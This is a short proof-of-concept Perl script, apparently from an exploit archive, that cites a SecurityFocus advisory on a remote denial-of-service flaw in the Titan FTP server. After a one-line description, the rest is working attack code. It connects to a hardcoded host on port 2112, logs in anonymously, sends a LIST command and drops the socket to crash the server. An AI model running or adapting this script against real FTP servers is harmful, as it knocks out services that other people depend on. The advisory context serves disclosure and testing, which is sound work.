source: https://www.securityfocus.com/bid/10272/info Titan FTP is prone to a remote denial of service vulnerability when handling the 'LIST' command. A remote attacker can cause the FTP server to crash by improperly handling a non-existent socket. #!/usr/bin/perl # Test for Titan FTP server security vulnerability use IO::Socket; $host = "192.168.1.243"; my @combination; $combination[0] = "LIST \r\n"; for (my $i = 0; $combination[$i] ; $i++) { print "Combination: $1\n"; $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "2112", ); unless ($remote) { die "cannot connect to ftp daemon on $host" } print "connected\n"; while (<$remote>) { print $_; if (/220 /) { last; } } $remote->autoflush(1); my $ftp = "USER anonymous\r\n"; print $remote $ftp; print $ftp; while (<$remote>) { print $_; if (/331 /) { last; } } $ftp = "PASS a\@b.com\r\n"; print $remote $ftp; print $ftp; while (<$remote>) { print $_; if (/230 /) { last; } } $ftp = $combination[$i]; print $remote $ftp; print $ftp; while (<$remote>) { print $_; if (/150 /) { last; } close $remote; }